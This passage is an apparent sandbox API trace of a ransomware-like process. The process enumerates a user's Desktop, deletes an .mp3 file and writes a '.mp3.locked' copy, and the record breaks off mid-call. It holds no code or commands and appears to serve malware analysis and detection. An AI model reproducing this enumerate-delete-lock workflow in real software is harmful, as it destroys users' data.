GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.779] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.779] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.779] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.781] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.781] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.781] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3\\", lpFilePart=0x0) returned 0x34 [0128.781] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.781] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.782] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.782] CoTaskMemFree (pv=0x8ebb8c8) [0128.783] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0128.783] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.783] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3"), fInfoLevelId=0x0, lpFileInformation=0x69f278c | out: lpFileInformation=0x69f278c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6af4df0, ftCreationTime.dwHighDateTime=0x1d4a20d, ftLastAccessTime.dwLowDateTime=0xae45a2b0, ftLastAccessTime.dwHighDateTime=0x1d49eb7, ftLastWriteTime.dwLowDateTime=0xae45a2b0, ftLastWriteTime.dwHighDateTime=0x1d49eb7, nFileSizeHigh=0x0, nFileSizeLow=0xfd37)) returned 1 [0128.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.783] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 1 [0128.786] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.786] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="ༀࣣ") returned 0x0 [0128.786] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.786] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.786] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3.locked")) returned 0x20 [0128.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3.locked")) returned 0x20 [0128.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", lpFilePart=0x0) returned 0x3a [0128.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", lpFilePart=0x0) returned 0x3a [0128.788] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.789] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0128.789] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.789] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.789] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.789] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.792] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.792] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.793] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.793] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.793] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.795] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.795] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.796] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.796] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.796] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.798] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.799] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.799] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.799] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.799] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.801] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.802] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.802] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.803] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.803] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a01120 | out: lpFileInformation=0x6a01120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9bb5e, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xff9bb5e, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xffc1e39, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xfd54)) returned 1 [0128.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.808] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked", lpFilePart=0x0) returned 0x3a [0128.808] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0128.808] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.808] CloseHandle (hObject=0x874) returned 1 [0128.811] GetConsoleOutputCP () returned 0x1b5 [0128.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.812] GetConsoleOutputCP () returned 0x1b5 [0128.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.812] GetConsoleOutputCP () returned 0x1b5 [0128.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.812] GetConsoleOutputCP () returned 0x1b5 [0128.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.813] GetConsoleOutputCP () returned 0x1b5 [0128.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.813] GetConsoleOutputCP () returned 0x1b5 [0128.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.814] GetConsoleOutputCP () returned 0x1b5 [0128.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.814] GetConsoleOutputCP () returned 0x1b5 [0128.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.815] GetConsoleOutputCP () returned 0x1b5 [0128.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.815] GetConsoleOutputCP () returned 0x1b5 [0128.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.815] GetConsoleOutputCP () returned 0x1b5 [0128.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.816] GetConsoleOutputCP () returned 0x1b5 [0128.926] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.926] GetConsoleOutputCP () returned 0x1b5 [0128.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.973] GetConsoleOutputCP () returned 0x1b5 [0129.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.007] GetConsoleOutputCP () returned 0x1b5 [0129.051] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.051] GetConsoleOutputCP () returned 0x1b5 [0129.160] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.160] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0129.212] GetConsoleOutputCP () returned 0x1b5 [0129.221] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0129.221] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.247] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a27ea8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a27ea8*, 